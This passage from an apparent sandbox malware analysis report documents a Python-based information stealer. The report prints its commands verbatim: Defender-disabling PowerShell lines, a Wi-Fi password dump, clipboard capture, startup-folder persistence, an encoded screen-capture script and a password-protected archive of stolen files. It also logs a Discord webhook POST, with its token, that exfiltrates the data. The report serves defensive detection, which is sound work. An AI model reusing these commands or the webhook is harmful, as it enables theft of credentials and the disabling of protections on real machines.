oAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\9g9LZNE4bH.exe", ParentImage: C:\Users\user\Desktop\9g9LZNE4bH.exe, ParentProcessId: 5860, ParentProcessName: 9g9LZNE4bH.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 7512, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\9g9LZNE4bH.exe, ProcessId: 5860, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\9g9LZNE4bH.exe, ProcessId: 5860, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\9g9LZNE4bH.exe, ProcessId: 5860, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5704, TargetFilename: C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7312, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *, ProcessId: 7360, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, ProcessId: 5440, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\9g9LZNE4bH.exe", ParentImage: C:\Users\user\Desktop\9g9LZNE4bH.exe, ParentProcessId: 5860, ParentProcessName: 9g9LZNE4bH.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 7580, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 9g9LZNE4bH.exe	Virustotal: Detection: 45%			Perma Link
Source: 9g9LZNE4bH.exe	ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.3% probability

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe

Code function: 70_2_00007FF6AA19901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

70_2_00007FF6AA19901C

Source: 9g9LZNE4bH.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2405833236.00007FF8A8450000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: 9g9LZNE4bH.exe
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: 9g9LZNE4bH.exe, 00000002.00000002.2406298429.00007FF8A86AF000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: 9g9LZNE4bH.exe, 00000000.00000003.2025057853.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2411047853.00007FF8BFAC1000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: 9g9LZNE4bH.exe, 00000000.00000003.2025057853.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2411047853.00007FF8BFAC1000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000046.00000000.2310221598.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmp, rar.exe.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2407700677.00007FF8A8CCC000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2410652961.00007FF8B9F61000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2409933422.00007FF8B8F71000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2408813480.00007FF8B7E01000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: 9g9LZNE4bH.exe, 00000002.00000002.2409638089.00007FF8B8B3C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: 9g9LZNE4bH.exe, 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2410441345.00007FF8B9841000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2409638089.00007FF8B8B3C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.pdbhPV source: powershell.exe, 0000002A.00000002.2242595273.000001C03B705000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2410254689.00007FF8B93C1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2409190880.00007FF8B7E51000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2409408125.00007FF8B8AF1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1s 1 Nov 2022built on: Mon Jan 9 20:35:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: 9g9LZNE4bH.exe, 00000002.00000002.2406298429.00007FF8A86AF000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2406298429.00007FF8A8731000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.pdb source: powershell.exe, 0000002A.00000002.2242595273.000001C03B705000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2409000197.00007FF8B7E21000.00000040.00000001.01000000.0000000E.sdmp

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA592F0 FindFirstFileExW,FindClose,	0_2_00007FF78DA592F0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA583B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF78DA583B0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA718E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF78DA718E4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF78DA592F0 FindFirstFileExW,FindClose,	2_2_00007FF78DA592F0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1A46EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	70_2_00007FF6AA1A46EC
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA19E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	70_2_00007FF6AA19E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1E88E0 FindFirstFileExA,	70_2_00007FF6AA1E88E0

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.3.0

Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1324952562377691148/tMn5PGZkUcHw6GRus7vQh5nn9lZzv19crpx5XMfJnhrwGYXnAAQrWNBsuZgspVDvCX9c HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 758909User-Agent: python-urllib3/2.3.0Content-Type: multipart/form-data; boundary=5bfc7a42494d43b6e137242c97784aaf

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 04 Jan 2025 08:42:36 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735980157x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vZ14Lq5OBiciWTSQo3QtMCr%2F8X6cwJ9wf3eutoNvbb0uAqGNSo93Y2pDbjSfnVuwbbq1AS6zHs60gYT3NmAAz1hSRLLxOhdM29NfzXgzgGlPkE51o6SRN96372NZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=98f474b5012690ed569d92fa502bc01aa033d261-1735980156; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=MA7Uo7Wyd9dNQPITj.qM1rxHYjgtZpUmTVK4E25GdQk-1735980156106-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8fc9efa42c6e176c-EWR

Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000002.2414627174.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 